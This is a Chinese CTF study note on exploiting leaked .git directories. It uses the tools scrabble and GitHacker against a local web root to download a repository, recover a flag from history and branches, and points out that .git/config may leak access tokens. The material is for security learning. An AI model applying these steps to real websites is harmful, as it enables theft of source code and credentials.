CTF学习笔记1:git泄露有关知识

一般情况

环境准备

#先进入/var/www/html目录
git init
vi flag                        #新增一个flag文件并保存
git add flag                   #向仓库增加flag文件
git commit -m "flag"

scrabble获取flag

工具:scrabble

./scrabble http://localhost/     #会下载flag文件

需要回滚

修改flag文件

#先进入/var/www/htm目录
vi flag                   #修改flag文件并保存
git add flag
git commit -m "change"

回到上一版

./scrabble http://localhost/
git reset --hard HEAD^

也可用git log --stat和git diff HEAD commit-id查看和比较

git log --stat
git diff HEAD flag

git分支(默认master)

工具:GitHacker、python

python GitHacker.py http://localhost/.git/      #下载到本地
git log --all                                   #或git branch -v  查看master分支
git reflog                                      #查看checkout记录

sudo apt install python3-pip                            #安装pip3
pip3 install GitHacker                                  #安装GitHacker
githacker --url http://localhost/.git/ --folder result  #获取所有分支到result目录下

其他

.git/config文件夹可能有access_token信息,泄露用户其他仓库信息

git相关命令

git checkout -b ??       #新建工切换分支
git checkout ??          #切换分支
git branch -a            #查看所有分支
git branch               #查看当前分支
上一篇:BugKu CTF web25解题思路笔记


下一篇:java 日志一